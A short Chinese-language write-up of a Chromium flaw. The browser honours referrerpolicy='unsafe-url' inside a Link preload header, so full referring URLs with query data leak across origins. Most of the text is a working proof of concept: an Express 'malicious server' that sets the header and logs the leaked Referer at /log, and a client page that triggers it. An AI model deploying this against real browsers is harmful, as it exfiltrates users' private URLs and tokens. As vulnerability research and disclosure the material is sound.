挺有意思的一个漏洞,用到了link头功能,简单来说chromium在对link头的处理上存在缺陷,导致了Referer可能携带敏感信息
payload:
server
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3001;
const logoPath = path.join(__dirname, 'logo.png');
if (!fs.existsSync(logoPath)) {
const pngBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII=';
fs.writeFileSync(logoPath, Buffer.from(pngBase64, 'base64'));
console.log('自动生成了 logo.png');
}
app.get('/image', (req, res) => {
res.setHeader(
'Link',
'<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"'
);
res.sendFile(logoPath, err => {
if (err) {
res.status(500).send('图片加载失败');
}
});
});
app.get('/log', (req, res) => {
const referer = req.headers['referer'];
console.log('收到 /log 请求,Referer:', referer);
res.send('Hi!');
});
app.listen(port, '0.0.0.0', () => {
console.log(`恶意服务器已启动: http://127.0.0.1:${port}`);
});
client
<!DOCTYPE html>
<html>
<head>
<title>Logo</title>
</head>
<body>
<h1>Logo Picture</h1>
<img src="http://127.0.0.1:3001/image" alt="Logo Picture">
</body>
</html>
不难看到在payload
<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"
中 关键点是他被允许插入referrerpolicy=“unsafe-url”,这就导致了在所有情况下,无论是同源请求还是跨域请求,无论是从 HTTPS 安全页面导航到 HTTP 不安全页面的协议降级,浏览器都会在Referer中携带完整的原始 URL,包括查询内容,进而导致了信息泄漏